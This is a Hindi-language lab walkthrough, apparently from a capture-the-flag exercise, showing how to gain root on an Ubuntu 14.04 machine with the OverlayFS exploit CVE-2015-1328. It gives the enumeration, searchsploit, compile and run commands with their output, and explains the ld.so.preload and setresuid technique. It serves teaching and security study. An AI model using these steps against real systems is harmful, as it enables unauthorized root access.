
Ubuntu 14.04 पर निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता से रूट तक विशेषाधिकार बढ़ाने के लिए CVE-2015-1328 (OverlayFS) का शोषण करने हेतु चरण-दर-चरण वॉकथ्रू। इसमें एन्यूमरेशन, एक्सप्लॉइट संकलन और निष्पादन शामिल है।
इस वॉकथ्रू का उद्देश्य एक कम-विशेषाधिकार वाले उपयोगकर्ता (karen) से root तक विशेषाधिकार एस्केलेशन करना था, एक कमजोर Linux कर्नेल का शोषण करके।
SSH के माध्यम से लक्ष्य मशीन से कनेक्ट करने के बाद:
ssh karen@<target-ip>
मैंने Linux कर्नेल संस्करण की पहचान की:
uname -r
आउटपुट:
3.13.0-24-generic
मशीन Ubuntu 14.04 चला रही थी, जिसमें कर्नेल 3.13.0-24-generic था।
चूंकि Linux विशेषाधिकार एस्केलेशन अक्सर कमजोर कर्नेल पर निर्भर करता है, मैंने SearchSploit का उपयोग करके Exploit-DB खोजा:
searchsploit overlayfs ubuntu 3.13
परिणाम:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
यह एक्सप्लॉइट CVE-2015-1328 को लक्षित करता है, जो पैच किए गए संस्करणों से पहले के Ubuntu कर्नेल को प्रभावित करता है।
किसी भी एक्सप्लॉइट को निष्पादित करने से पहले, यह समझना महत्वपूर्ण है कि यह क्या करता है।
यह एक्सप्लॉइट OverlayFS में एक दोष का फायदा उठाता है, जो Linux यूनियन फाइलसिस्टम है।
यह कमजोरी इसलिए मौजूद है क्योंकि OverlayFS उपयोगकर्ता नेमस्पेस (CLONE_NEWUSER) के अंदर माउंट होने पर फ़ाइल अनुमतियों को गलत तरीके से संभालता है।
एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता OverlayFS में हेरफेर करके ऐसी फ़ाइलें बना या संशोधित कर सकता है जो केवल root द्वारा लिखने योग्य होनी चाहिए।
एक्सप्लॉइट अंततः इसमें लिखता है:
/etc/ld.so.preload
यह फ़ाइल Linux डायनामिक लोडर को बताती है कि प्रत्येक डायनामिक रूप से लिंक किए गए निष्पादन योग्य से पहले एक साझा लाइब्रेरी लोड करे।
सिस्टम को एक दुर्भावनापूर्ण साझा लाइब्रेरी लोड करने के लिए मजबूर करके, एक्सप्लॉइट root के रूप में कोड निष्पादन प्राप्त करता है।
SearchSploit का उपयोग करके:
searchsploit -m 37292
इसने एक्सप्लॉइट को स्थानीय रूप से कॉपी किया:
37292.c
उसके बाद एक्सप्लॉइट को पीड़ित मशीन पर स्थानांतरित किया गया।
इस वॉकथ्रू में, इसे इस रूप में सहेजा गया था:
/tmp/ofs.c
एक्सप्लॉइट वाली निर्देशिका पर जाएँ:
cd /tmp
GCC का उपयोग करके इसे कंपाइल करें:
gcc ofs.c -o ofs
यदि कंपाइलेशन सफल होता है, तो GCC कोई आउटपुट नहीं देता है।
सत्यापित करें कि निष्पादन योग्य मौजूद है:
ls -l
अपेक्षित:
-rwxr-xr-x ... ofs
निष्पादन योग्य चलाएँ:
./ofs
एक्सप्लॉइट इसी तरह के संदेश प्रिंट करता है:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
अंत में, यह एक root शेल उत्पन्न करता है:
#
विशेषाधिकारों को सत्यापित करें:
id
आउटपुट:
uid=0(root) gid=0(root)
root विशेषाधिकार प्राप्त होने के साथ:
cat /home/matt/flag1.txt
फ़ाइल अब सफलतापूर्वक पढ़ी जा सकती थी।
एक्सप्लॉइट आंतरिक रूप से कई क्रियाएँ करता है।
unshare(CLONE_NEWUSER);
Linux यूज़र नेमस्पेस एक गैर-विशेषाधिकार प्राप्त प्रक्रिया को होस्ट पर root हुए बिना, नेमस्पेस के अंदर root के रूप में प्रकट होने की अनुमति देते हैं।
यह क्षमता हमले के लिए आवश्यक है।
clone(... CLONE_NEWNS ...)
एक अलग माउंट नेमस्पेस फाइलसिस्टम परिवर्तनों को ऑपरेटिंग सिस्टम के बाकी हिस्सों से अलग करता है।
यह एक्सप्लॉइट को वैश्विक फाइलसिस्टम को प्रभावित किए बिना OverlayFS माउंट करने की अनुमति देता है।
एक्सप्लॉइट अस्थायी निर्देशिकाएँ बनाता है:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
फिर यह OverlayFS माउंट करता है:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
कर्नेल कमजोरी के कारण, OverlayFS गलत तरीके से उन कार्यों की अनुमति देता है जिनके लिए root विशेषाधिकारों की आवश्यकता होनी चाहिए।
/etc/ld.so.preload बनाता हैएक्सप्लॉइट OverlayFS माउंट के अंदर एक लिखने योग्य फ़ाइल का नाम बदलकर इसमें रखता है:
ld.so.preload
/etc पर OverlayFS को पुनः माउंट करने के बाद, यह फ़ाइल बन जाती है:
/etc/ld.so.preload
सामान्यतः, केवल root को ही यह फ़ाइल बनाने में सक्षम होना चाहिए।
एक्सप्लॉइट एक C सोर्स फ़ाइल लिखता है:
/tmp/ofs-lib.c
फिर इसे कंपाइल करता है:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
परिणामी साझा लाइब्रेरी getuid() फ़ंक्शन को ओवरराइड करती है।
एक्सप्लॉइट लिखता है:
/tmp/ofs-lib.so
इसमें:
/etc/ld.so.preload
अब प्रत्येक डायनामिक रूप से लिंक किया गया निष्पादन योग्य किसी भी सिस्टम लाइब्रेरी से पहले इस दुर्भावनापूर्ण लाइब्रेरी को लोड करता है।
/bin/su निष्पादित करता हैअंत में:
execl("/bin/su", "su", NULL);
जब su शुरू होता है, तो मूल के बजाय दुर्भावनापूर्ण getuid() फ़ंक्शन निष्पादित होता है।
लाइब्रेरी:
/etc/ld.so.preload को हटाती हैsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
परिणाम एक इंटरैक्टिव root शेल है।
यह कमजोरी यूज़र नेमस्पेस के अंदर उपयोग किए जाने पर OverlayFS में गलत अनुमति प्रबंधन के कारण होती है।
एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता OverlayFS में हेरफेर करके ऐसी विशेषाधिकार प्राप्त फ़ाइलें बना सकता है जैसे:
/etc/ld.so.preload
चूंकि डायनामिक लोडर इस फ़ाइल पर भरोसा करता है, इसलिए root के रूप में मनमाना कोड निष्पादित किया जाता है।
यह कमजोरी Ubuntu द्वारा अद्यतन कर्नेल रिलीज़ में पैच की गई थी।
माइटिगेशन रणनीतियों में शामिल हैं:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt